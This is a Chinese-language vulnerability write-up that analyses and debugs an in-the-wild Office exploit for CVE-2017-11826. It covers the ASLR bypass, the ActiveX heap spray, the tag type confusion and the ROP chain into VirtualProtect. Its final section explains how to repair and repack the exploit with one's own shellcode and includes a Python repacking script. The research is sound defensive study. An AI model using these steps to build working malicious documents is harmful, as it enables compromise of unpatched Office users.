作者:Joey@天玄安全實驗室
原文鏈接:https://mp.weixin.qq.com/s/F_BIk3slcZ8gXGuQ0T9Pwg
前言
最近開始分析Office漏洞,拿到CVE-2017-11826的樣本后發現無法在Office2010上成功執行,打算分析并改造該EXP。參考了許多資料,結合自己的理解寫了本文,供大家學習和參考。
漏洞分析
分析環境
OS: Win7 x64 SP1
Office: Ofiice 2010 x86
Image name: wwlib.dll
Timestamp: Sat Mar 27 23:37:07 2010 (4BAE2623)
CheckSum: 0127F568
ImageSize: 0127A000
File version: 14.0.4762.1000
Product version: 14.0.4762.0
靜態分析
在rtf文檔中搜索object,發現嵌入了3個ole對象:

第一個對象的CLSID為D5DE8D20-5BB8-11D1-A1E3-00A0C90F2731,在注冊表搜索后發現該對象位于C:\Windows\SysWOW64\msvbvm60.dll,而該dll是沒有ASLR的。

通過ProcessExplorer發現word打開rtf文檔后確實加載了msvbvm60.dll,且該dll無ASLR,說明該ole對象的作用是繞過ASLR。

使用rtfobj.py -s all提取ole對象:

第一個對象經過上面的分析是用于繞過ASLR的,第二和第三個都是.doc文檔,使用壓縮軟件直接打開第二個文檔,文檔結構如下:
│ [Content_Types].xml
│
├─docProps
│ app.xml
│ core.xml
│
├─word
│ │ document.xml
│ │ fontTable.xml
│ │ settings.xml
│ │ styles.xml
│ │ webSettings.xml
│ │
│ ├─activeX
│ │ │ activeX1.bin
│ │ │ activeX1.xml
│ │ │ activeX2.xml
│ │ │ ······
│ │ │ activeX40.xml
│ │ │
│ │ └─_rels
│ │ activeX1.xml.rels
│ │ activeX2.xml.rels
│ │ ······
│ │ activeX40.xml.rels
│ │
│ ├─media
│ │ image1.wmf
│ │
│ ├─theme
│ │ theme1.xml
│ │
│ └─_rels
│ document.xml.rels
│
└─_rels
.rels
可以看出使用了40個activeX.xml文件,文件內容如下:
<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<ax:ocx ax:classid="{00000000-0000-0000-0000-000000000001}" ax:persistence="persistStorage" r:id="rId1" xmlns:ax="http://schemas.microsoft.com/office/2006/activeX" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships"/>
40個xml文件內容一致,加載了CLSID為{00000000-0000-0000-0000-000000000001}的對象,然而系統中并沒有這個對象,所以并不會加載任何對象,這么做是為了提高堆噴的效率,具體原理可查看SPRAYING THE HEAP IN SECONDS USING ACTIVEX CONTROLS IN MICROSOFT OFFICE一文。
而40個activeX.xml.rels的內容也完全一致:
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships">
<Relationship Id="rId1" Type="http://schemas.microsoft.com/office/2006/relationships/activeXControlBinary" Target="activeX1.bin"/>
</Relationships>
都指向了activeX1.bin文件,因此會將activeX1.bin在內存中加載40次,以此達到堆噴的目的。
activeX1.bin文件結構如下:
activeX1.bin
│ -文件頭
│ -數據
│ │---CB 40 94 72 EC 83 88 08 CB 40 94 72 EC 83 88 08
│ │ ······
│ │---CB 40 94 72 EC 83 88 08 CB 40 94 72 EC 83 88 08
│ │---shellcode
│ │---2B 0E 98 72 2B 0E 98 72 2B 0E 98 72 2B 0E 98 72
│ │ ······
│ │---2B 0E 98 72 2B 0E 98 72 2B 0E 98 72 2B 0E 98 72
│ │ ······
│ │---CB 40 94 72 EC 83 88 08 CB 40 94 72 EC 83 88 08
│ │ ······
看結構似乎是滑板指令加shellcode,待調試驗證。
第三個文檔結構如下:
│ [Content_Types].xml
│
├─docProps
│ app.xml
│ core.xml
│
├─word
│ │ document.xml
│ │ endnotes.xml
│ │ fontTable.xml
│ │ footnotes.xml
│ │ settings.xml
│ │ styles.xml
│ │ webSettings.xml
│ │
│ ├─theme
│ │ theme1.xml
│ │
│ └─_rels
│ document.xml.rels
│
└─_rels
.rels
document.xml的內容如下:

觀測到<w:font 標簽內有異常字符,且標簽未正常閉合,預測漏洞觸發于該處。
通過靜態分析了解到RTF文檔通過內嵌3個ole對象來實現ASLR繞過、堆噴射和漏洞觸發,ASLR繞過是通過加載CLSID為D5DE8D20-5BB8-11D1-A1E3-00A0C90F2731的COM對象,將msvbvm60.dll加載到內存中。堆噴射利用40個activeX.xml.rels指向唯一的activeX1.bin文件,將activeX1.bin文件中的數據部分,即偏移為0x800后的內容加載到內存中實現堆噴射。而漏洞觸發部分則利用document.xml中的異常字符和標簽觸發漏洞。
動態調試
使用windbg附加word,打開漏洞文件:

可以看到異常因為ecx+4指向的內存無法訪問導致錯誤。查看反匯編得知ecx的值來源于eax,此時eax的值為088888ec。再次打開漏洞文件發現ecx的值改變,但是eax的值仍為088888ec,說明eax的值為故意構造。
于是打算下斷在函數wwlib!DllGetClassObject+0x42d4 (71ed98b0)查看eax是如何生成的。查看wwlib的基地址,算出函數的偏移為wwlib+004da16b。
0:000> lm m wwlib
start end module name
71ed0000 7314a000 wwlib (export symbols) C:\PROGRA~2\MICROS~1\Office14\wwlib.dll
0:000> ? 723aa16b-71ed0000
Evaluate expression: 5087595 = 004da16b
重新打開漏洞文檔,bp wwlib+004da16b下斷:

步過兩次后執行到如圖所示位置時,查看eax所在的內存:

發現和在文檔3中的字符串一致,接著查看eax+44,對應的正是異常觸發時eax的值088888ec。

但在xml文件中,字符串中的異常字符的十六進制為e8a3ace0a288:

在文件中顯示的格式是Ascii,然而在內存中顯示的是Unicode,于是將文件中的字符以utf-8格式轉換為十六進制正是eax的值088888ec:

說明通過修改該字符串可以控制eax的值,進而控制eip。
在ida中找到奔潰函數為sub_31A55CE6,發現變量v3是寬字節字符串,位于arg2+0x18,變量v4是一個長度,位于arg2+0x1c

在windbg設置崩潰函數起始點打印v3為字符串,長度為v4:bp wwlib+385ce6 "du poi(poi(esp+8)+18) Lpoi(poi(esp+8)+1c); g;"

可以看到v3就是xml文件中的標簽,在解析到idmp標簽后程序崩潰,然而并沒有看到font標簽,于是尋找到崩潰函數的父函數sub_3170FA5A

崩潰函數arg2的值為edi,而edi的值為父函數的arg2:

于是在父函數和崩潰函數同時下斷,查看標簽解析情況:
bp wwlib+3fa5a ".printf \"Parent_Func: \"; du poi(poi(esp+8)+18) Lpoi(poi(esp+8)+1c); g;"
bp wwlib+385ce6 ".printf \"Crash_Func: \"; du poi(poi(esp+8)+18) Lpoi(poi(esp+8)+1c); g;"

在父函數成功解析到font標簽,猜測因為font標簽未閉合而導致崩潰函數解析標簽出錯產生漏洞,修改了xml文件閉合了font標簽:

將修改后的docx文件嵌入到新建的rtf文件中,在windbg中調試后發現eax的值改變了,并且沒有異常,證實因為font標簽未閉合導致的漏洞。

繼續調試發現異常觸發點的eax和ecx都是來自于esi,而esi為漏洞函數的arg1:

因此在漏洞函數打印標簽以及[[esi+17f0]]、[[esi+17f0]+8]、[[esi+17f0]+c]和[esi+17f0]的值:
bp wwlib+385ce6 "du poi(poi(esp+8)+18) Lpoi(poi(esp+8)+1c); r $t0=poi(poi(esp+4)+17f0); dd poi($t0) L1; dd poi($t0)+8 L1; dd poi($t0)+c L1; dd $t0 L1; .printf\"\\n\"; g;"

打印出的結構就是Taglist結構體,具體結構參考goabout2的office CVE-2017-11826雜談一文。
接著調試異常觸發點上的函數,發現函數功能為通過層級標簽獲取TagObject Array[Index-2]:

繼續向上追溯,發現函數GetTagObject也調用了GetTagObjectByIndex,通過分析發現該函數獲取的是TagObject Array[Index-1]的地址:

分析到這里,漏洞產生的原因也就出來了,由于word每解析一個標簽,Current_Index的值就加一,當解析到閉合標簽,Current_Index值會減1。由于構造了沒有閉合的font標簽,因此導致在解析idmap標簽時比正常文件的Current_Index多一,導致原本應該獲取OLEObject標簽的TagObject變成獲取了font的TagObject,因此造成了標簽類型混淆導致漏洞的發生。
將標簽層級和xml文件標簽對應:

可以證實確實因為Current_Index值比正常文件的多一導致的類型混淆。
在內存中查看當解析idmap層級為6時Taglist的內存結構:
> bp wwlib+4da16b
> g
Breakpoint 1 hit
eax=070f1800 ebx=00000000 ecx=0225466c edx=00000004 esi=0225466c edi=070f19dc
eip=6f95a16b esp=002cf428 ebp=002cf490 iopl=0 nv up ei pl nz na po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000202
wwlib!DllGetLCID+0x2cc775:
6f95a16b e840f7b2ff call wwlib!DllGetClassObject+0x42d4 (6f4898b0)
> ub $ip L8
wwlib!DllGetLCID+0x2cc75d:
6f95a153 83780401 cmp dword ptr [eax+4],1
6f95a157 0f85f5bdeaff jne wwlib!DllGetLCID+0x17855c (6f805f52)
6f95a15d 8bb6f0170000 mov esi,dword ptr [esi+17F0h]
6f95a163 8b06 mov eax,dword ptr [esi]
6f95a165 8b10 mov edx,dword ptr [eax]
6f95a167 4a dec edx
6f95a168 4a dec edx
6f95a169 8bce mov ecx,esi
此時eax的值即為Taglist,因此查看eax指向的Taglist結構:

此時TagObject[4]+0x44的值為0x090b4000,查看該值在內存中存儲的數據:

發現[[TagObject[4]+0x44]+0x44]的值正是xml文件中font標簽構造的固定地址,自此漏洞部分分析完畢。
漏洞利用
先啟動word然后使用windbg附加會導致堆噴無法成功,繼而無法分析漏洞利用部分。因此使用gflags.exe讓調試器直接加載winword.exe:

設置斷點在異常觸發點:
> bp wwlib+4da184
> g
Breakpoint 0 hit
eax=088888ec ebx=00000000 ecx=088883ec edx=00000004 esi=004b44b4 edi=0340cddc
eip=6e2da184 esp=002f5f14 ebp=002f5f7c iopl=0 nv up ei pl nz na po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000202
wwlib!DllGetLCID+0x2cc78e:
6e2da184 50 push eax
0:000> u $ip
wwlib!DllGetLCID+0x2cc78e:
6e2da184 50 push eax
6e2da185 ff5104 call dword ptr [ecx+4]
6e2da188 e9fabdeaff jmp wwlib!DllGetLCID+0x178591 (6e185f87)
6e2da18d 83f802 cmp eax,2
6e2da190 750f jne wwlib!DllGetLCID+0x2cc7ab (6e2da1a1)
6e2da192 83c624 add esi,24h
6e2da195 56 push esi
6e2da196 52 push edx
> dd ecx+4
088883f0 72980e2b 72980e2b 72980e2b 72980e2b
08888400 72980e2b 72980e2b 72980e2b 72980e2b
08888410 72980e2b 72980e2b 72980e2b 72980e2b
08888420 72980e2b 72980e2b 72980e2b 72980e2b
08888430 72980e2b 72980e2b 72980e2b 72980e2b
08888440 72980e2b 72980e2b 72980e2b 72980e2b
08888450 72980e2b 72980e2b 72980e2b 72980e2b
08888460 72980e2b 72980e2b 72980e2b 72980e2b
發現exc+4的值為activeX1.bin中shellcode下方的填充,說明已經成功堆噴。
步入[exc+4]后發現來到了msvbvm60.dll,已經進入了ROP鏈:
> t
eax=088888ec ebx=00000000 ecx=088883ec edx=00000004 esi=004c44b4 edi=0043cddc
eip=72980e2b esp=00385a18 ebp=00385a88 iopl=0 nv up ei pl nz na po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000202
msvbvm60!IID_IVbaHost+0x127eb:
72980e2b 94 xchg eax,esp
而第一條指令則是用來棧遷移,在之前已經將eax入棧,而eax的值正是構造好的0x088888ec,執行指令后,esp的值已經變成了0x088888ec:

而eax中的內容剛好位于shellcode的上方,此時ROP鏈為滑板指令,循環執行pop eax和ret,此時可以下斷bp 729440cc ".if(esp=08888f48){}.else{gc}"停在了滑板指令結束的位置:

當執行到最后一次滑板指令時,會將0x729410d0放入eax中,而該值是msvbvm60.dll的IAT表中的數據,查看后存儲的是VirtualProtect的地址:

緊接著通過ret跳轉到ROP指令jmp [eax]執行VirtualProtect,而此時棧中為構造好的VirtualProtect的參數:

再次跳轉后進入到kernelbase.dll的VirtualProtect:

執行后會跳轉到0x08888f70執行shellcode:

然而VirtualProtect的修改的內存范圍只有0x08888c90 - 0x08888e91,而shellcode卻位于0x08888f70,因此會觸發c0000005訪問異常,shellcode執行失敗:

利用改造
activeX1.bin文件中布局如下:

由于原本VirtualProtect修改的范圍為0x201不夠,因此修改為0x1000確保能夠覆蓋shellcode,隨后將shellcode替換為自己的shellcode即可。
將修改好的activeX1.bin文件替換到rtfobj.py提取出來進行堆噴的文檔中,并修改為.docx,腳本參考Exploiting Word: CVE-2017-11826一文,替換腳本如下:
import os
import shutil
import zipfile
template_path = ""
final_docx_name = ""
activeX_bin_path = ""
def pack_file_to_open_xml_docx(template_path, final_docx_name, activeX_bin_path):
if not os.path.exists(template_path) or not os.path.exists(activeX_bin_path):
print("Template docx file or activeX.bin file not exist.")
return
with open(activeX_bin_path, "rb") as f_:
object_bin_data = f_.read()
zip_docx = template_path + ".zip"
current_dir = os.path.abspath(os.path.dirname(__file__))
new_path = os.path.join(current_dir, "exp", os.path.basename(zip_docx))
if os.path.exists(new_path):
os.remove(new_path)
shutil.copy(template_path, new_path)
zip_docx = new_path
# open temp docx and a copy for modification
zin = zipfile.ZipFile(zip_docx, 'r')
zip_docx_copy = zip_docx + "_copy_"
zout = zipfile.ZipFile(zip_docx_copy, "w")
# modify the docx template with exploit
for item in zin.infolist ():
if item.filename.find("activeX1") >= 0 and item.filename.find(".bin") >= 0:
pass
else:
buffer = zin.read(item.filename)
zout.writestr(item, buffer) # use existing file
zout.writestr("word/activeX/" + "activeX1.bin", object_bin_data)
zout.close ()
zin.close ()
# convert to docx
os.rename (zip_docx_copy, final_docx_name)
os.remove(zip_docx)
pack_file_to_open_xml_docx(template_path, final_docx_name, activeX_bin_path)
新建一個rtf文件,將替換好的docx文件添加到rtf文件中,保存后使用010Editor打開,搜索object,將{\object和{*\objdata的全部內容復制:

再新建一個rtf文件,按照堆噴射、Bypass ASLR和漏洞觸發的順序添加三個對象。堆噴射的內容就是上方復制好的內容,其他兩個可以直接在原EXP中復制過來即可,最終EXP的結構如下所示:

最終成功執行了shellcode:

參考鏈接
[1] CVE-2017-11826漏洞分析、利用及動態檢測
[3] SPRAYING THE HEAP IN SECONDS USING ACTIVEX CONTROLS IN MICROSOFT OFFICE
[4] Exploiting Word: CVE-2017-11826
本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/1658/
暫無評論